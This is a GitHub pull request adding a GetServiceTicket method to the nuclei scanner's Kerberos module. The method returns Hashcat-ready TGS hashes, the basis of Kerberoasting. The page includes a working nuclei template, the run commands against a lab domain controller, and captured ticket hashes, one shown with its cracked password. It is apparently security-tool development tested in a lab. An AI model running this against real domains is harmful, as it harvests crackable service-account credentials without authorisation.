Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add method GetServiceTicket to the kerberos module #4422

Merged
merged 3 commits into from
Jan 12, 2024

Conversation

5amu
Copy link
Contributor

@5amu 5amu commented Nov 26, 2023

Proposed changes

Closes #4421

With this change, a new method is exposed in the kerberos module of the Javascript Protocol: GetServiceTicket(). This method returns a TGS struct, which looks like this:

type TGS struct {
	Ticket messages.Ticket
	Hash   string
}

Hash contains the Hashcat formatted string representing the ticket, ready to be cracked. To test this feature I used the same environment of #4420. And used this template:

id: get-service-ticket

info:
  name: test
  author: 5amu
  severity: info

javascript:
  - args:
      DomainController: "{{Host}}"
    code: |
      krb = require("nuclei/kerberos");
      client = krb.KerberosClient();
      ticket = client.GetServiceTicket(template.Domain, DomainController, template.Username, template.Password, template.TargetUser, template.SPN);
      to_json(ticket);
    extractors:
      - type: json
        json:
          - '.Hash'

And executed nuclei like this:

go run cmd/nuclei/main.go -u 192.168.56.10 -var Username=victim -var Password=Trust_Me_Br0 -var Domain=LAB.LOCAL -var TargetUser=roastme -var SPN=DC01/cifs -t .\test-krb5.yaml

image

Which returns an hash understandable by hashcat:

$krb5tgs$23$*$LAB.LOCAL$DC01/cifs*$8b6b8c0992fab0e595652f98d2fd6e7e$0260f7d605e3d74a97018484dd38f099b76d6a6e5cde686715bb8b0ef027f382f938321a817f456a36b12625549be649ebb52adf9991c88375ec34050495bad3f6f9d22275dd2b2af54c48fbd188cd39108bc5c174e401997399ac17ae3d2fa04b094abcd35c3bc6ff15a81cd5e703ceb98564af6efb016a0737c5a2fee1bca516b1ad6e62085187457e2c32ca0ddfdf9e210ddf494284a5a4b6bd6a0c22221e9023ab476f2be777be9ef5c0175fda7014d63eddbdcdf7eb16b9ba00e24d9ad9abd6176a3c626531676ffc1e3c189bac0163d743b1d284416b5b795ba1449deab5851f2f42e54c8060a755ef8ef3334ac2e580d50a58f45dff11b52268b6500dca40324d98f25a8ea6d8dbd356d095916a6635bd2ddaf1f9d6dcc575714ded1cbe3addf56e8365cd3572b9099f98ad9130c246c8954ee47d48f3ae76c9e04d87fabfd4b0c65f7887fddb09066bc32085b0b8204e9739df5c3988677d06340cd161303185c7a3d4868aea0196c7b1ac01899471a436ca1cb9964f55a8ada950060c51c6f3529d76c72fcea2b14be308adb089d536dcd85f2bfb307b4e2ab7d0250db92163c14182805df0d5767ff218015dd0c6057fc4c798a2843e4e3c5b6f5e4db7e1c9d2017143ad8cbc64f7987fcfc98685c1ea240df942b811f1bb409b2ef91233b8510f019a4667f2617408fbdc7b2c532b69a078f045de376837e2fb54a714ec09dcd12493365d6ba046352547b6359351370ba9bbaa0cb948a488c3eaa969dd76d07662c4e0e71067523aabf1348d91dd0f3a272a0c945d3592b01840cb87c8ee088d288b9e213e00e1bf46aa85a4b42d37ac442efe98e9d8ea85db7ff688aada8162169cce963b40f94b99e32224eb553005ec07145be516ee692fc1bd36884c5864c805e2e8ea820ed07c499572780a6b527e806fa76b8bb78b1eda6ae0b8b3d14c4ee38200d955dc654b6df7ec60d04a1fb986ddc9cdf29a764702434f5651a01bd4543acfa1e435e24c01107699a559852463681fdc953640816084b7f72ed0c4df0042f9fc48f33afcaa6f67847e462910803cc133e8edf407dffb2c1c5e6cdcb534709bc68fa1243565f62732da54c37d4195198d1e40fae9c6d27ae828be725d55528ea22ac10b20461df2c6e8200c499455d850f33751cc7a7f261a036162fed20aabe8c4cff38d5e483c966a57aba8295faab38a2dbc661753174dc53e684fa21e7583de30020f3e1ce937995f97c630835ddc7292121e0876d97151ca62dd32036060ef7a139f1aeb04591a1fc5550c83bd53c42cb5e8d156b6071027982f7ed80335b1109dbe2df627f55c8a:!Qazxsw2

Checklist

  • Pull request is created against the dev branch
  • All checks passed (lint, unit/integration/regression tests etc.) with my changes
  • I have added tests that prove my fix is effective or that my feature works
  • I have added necessary documentation (if appropriate)

@5amu
Copy link
Contributor Author

5amu commented Nov 27, 2023

I realized I left out a change from the pull request, I'm sorry.
It's a minor change that includes the username associated with the SPN in the hashcat-compatible hash.

As I already pushed it on my fork, the commit should appear here soon, but in the meantime here's the diff:
https://github.com/5amu/nuclei/commit/b129cccacfd9a7e02b54340d13c6e173735e061e.diff

if err != nil {
return tgs, err
}
cl := kclient.NewWithPassword(username, opts.realm, password, opts.config, kclient.DisablePAFXFAST(true))

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I notice kclient is never destroyed, is this intentional?

Copy link
Contributor Author

@5amu 5amu Dec 21, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It is intentional, I assumed there was a reason, as the EnumerateUser function does not destroy the client.

func (c *KerberosClient) EnumerateUser(domain, controller string, username string) (EnumerateUserResponse, error) {
resp := EnumerateUserResponse{}
if !protocolstate.IsHostAllowed(domain) {
// host is not valid according to network policy
return resp, protocolstate.ErrHostDenied.Msgf(domain)
}
opts, err := newKerbrosEnumUserOpts(domain, controller)
if err != nil {
return resp, err
}
cl := kclient.NewWithPassword(username, opts.realm, "foobar", opts.config, kclient.DisablePAFXFAST(true))
req, err := messages.NewASReqForTGT(cl.Credentials.Domain(), cl.Config, cl.Credentials.CName())
if err != nil {
return resp, err
}
b, err := req.Marshal()
if err != nil {
return resp, err
}
rb, err := cl.SendToKDC(b, opts.realm)
if err == nil {
var ASRep messages.ASRep
err = ASRep.Unmarshal(rb)
if err != nil {
// something went wrong, it's not a valid response
return resp, err
}
hashcatString, _ := asRepToHashcat(ASRep)
resp.Valid = true
resp.ASREPHash = hashcatString
return resp, nil
}
e, ok := err.(messages.KRBError)
if !ok {
return resp, nil
}
switch e.ErrorCode {
case errorcode.KDC_ERR_C_PRINCIPAL_UNKNOWN:
return resp, nil
case errorcode.KDC_ERR_PREAUTH_REQUIRED:
resp.Valid = true
return resp, nil
default:
return resp, err
}
}

Should I add the relevant change? If so, should I add the Destroy() to EnumerateUser too or that's a different PR?

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, I think it would be best practice to do that. I'm sure the resources will get cleaned up eventually but it would be best not to leave them dangling.

@dogancanbakir
Copy link
Member

I'm adding @pussycat0x to share test results

@pussycat0x
Copy link

pussycat0x commented Jan 12, 2024

@dogancanbakir GetServiceTicket Method Working Fine 🚀

./main -u 192.168.1.9 -var Username=victim -var Password=Trust_Me_Br0 -var Domain=LAB.LOCAL -var TargetUser=roastme -var SPN=DC01/cifs -t kerb.yaml -svd -v

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.1.0-dev

                projectdiscovery.io

[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.1.0-dev (outdated)
[INF] Current nuclei-templates version: v9.7.2 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 61
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[DBG] Javascript Protocol request variables: 
        1. DN => 1
        2. Domain => LAB.LOCAL
        3. FQDN => 192.168.1.9
        4. Host => 192.168.1.9
        5. Hostname => 192.168.1.9
        6. Password => Trust_Me_Br0
        7. Port => 
        8. RDN => 1.9
        9. SD => 192.168
        10. SPN => DC01/cifs
        11. TLD => 9
        12. TargetUser => roastme
        13. Username => victim

[VER] [get-service-ticket] Sent Javascript request to 192.168.1.9
[DBG] Javascript Protocol response variables: 
        1. DN => 1
        2. Domain => LAB.LOCAL
        3. FQDN => 192.168.1.9
        4. Host => 192.168.1.9
        5. Hostname => 192.168.1.9
        6. Password => Trust_Me_Br0
        7. Port => 
        8. RDN => 1.9
        9. SD => 192.168
        10. SPN => DC01/cifs
        11. TLD => 9
        12. TargetUser => roastme
        13. Username => victim
        14. host => 192.168.1.9
        15. interactsh-server => 
        16. matched => 192.168.1.9
        17. request => krb = require("nuclei/ker .... te.SPN); to_json(ticket);
        18. response => {   "Ticket": {     "TktV .... 068a83950bec4ab99be059" }
        19. success => true
        20. template-id => get-service-ticket
        21. template-info => {test 5amu    <nil> {info} map[] <nil> }
        22. template-path => /root/Desktop/nuclei-kerb .... kets/cmd/nuclei/kerb.yaml
        23. type => javascript

[get-service-ticket] [javascript] [info] 192.168.1.9 [$krb5tgs$23$*roastme$LAB.LOCAL$DC01/cifs*$4a23f5e05e5612c28a9e050c5795df25$e996ab1b067240dc1ec0b520398fb8d18ba8b19e517e3efe0be89eab3a0198c26740539e4c95b98a82d28c61ce441bc39829805b5d47a77763549937a6bf090e0a2ada224cd8d977d62719e8c63dc44ab41e9b0621aa579d493b574cb50e5e1ed30bc0a99000ef667f446839958ef23e1fbcd1630a853ca1ae640ab9b86b9c5692dade7db153bcc91f42d7caf9dd66ae64ea8f10dd661ecf3d97975d023ab5e8f6ad60bb21abceba617e63a212ee018ccf355d4aaca46593391ec38a3a53cadb48aee90570added1ebeda00862a824e3c3cedde8313e236c598eb4cce7c5f34da1a4a62647f8ad774a443c93d3144a04d8a8b02127f1f6846f6558d1a60ee1330367accb83bbd441b7e14b669961162176a5cd7b50c57791d1c1ff0e0ba29cf686f55804c959b0925c86b6101a7c7e8cd0ef7fab4378ad3e314a19214058ffe3ddd8b552b49e040f5cdc1c6b0bf3a47b684b1e03cf018368def8ad975fd9d0cf89a4810c3e1a91067aad589fa86fc03b2f609fffb4bedefbf5d892c6cccc5e0e81082d21ed2b1d91b5f444452f353f24df8b26b1070cd0ea3fdfa53cfe20994e4f17a3392a73b4e5f5b3f26cd7f07debbd510e90e248119a2c4115418afb1475f1dee52016d2cadaab8a7215b2d09d28246de36c71675b2a535880eaeba027764378aa91002e1b34d9ac0eeea29f9e34e79fc8af7789040a6de83988e1cb3565cd66a356b9c4679cd37bdaa4b5a7c098c9681b8ff69bc1d40caefd8d16ce3055486555eaf88f40312b2d82a0e50f7599e6d06bcecfb04dc22a31b274d997f882d0071c1fdcd9d7d7e67d142645bf2ec401df3298b3d358fa4a979d03edd57b9c3bb1c14985b76edbf38e992bf1fd599ba644fcf594004416916807566519a60fb24ae3bb7f2144bbefdf5121b76767c161ed2ff66ce59561d8505c8e0a71a65770d44497c099d7361c6a13c10b673096ccab3ab5841af09b1805b643fd081e65cab77c26a911919067e998242ecf00c45ac1fe5d9741a1d1d096d1615f0677addf3d8c1b6fe16fd2826a0160e2ca518974b5fcbfbb7f721ac83c94831226b16017930b25066cbbfe108e81ead382a9a020a736d1c8052a1487333ef588654ca27027174efc8ddf268465d4911b8c691185bdf029ca4e62a70e49afef67ae765ec1a43089ca4058e9ebc2f055bab802dc41f848e91cd26d816ed4636c31d3873b88129e9a7aa0692bd8ec6440d96dbd425fd37e563d3337a697d797fb08373ebe6c893fee54ec60623b815cd1e90853afb6c11cd47356b7bc991fec9ea588c25296c429701a42e7553c0712efda500e13555eb0751c0389542de010951adc10068103a203e8c085d06a479e243f8c060710972873be1ff607ed8bcf3922ed8f2b15ae00c6fb075546ce7591615808b4181a80068a83950bec4ab99be059]                    
                                                                                                                                         
┌──(root㉿kali)-[~/Desktop/nuclei-kerberos-get-tickets/cmd/nuclei]

@ehsandeep ehsandeep merged commit 70452ef into projectdiscovery:dev Jan 12, 2024
12 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

add method for kerberos module te get a service ticket
5 participants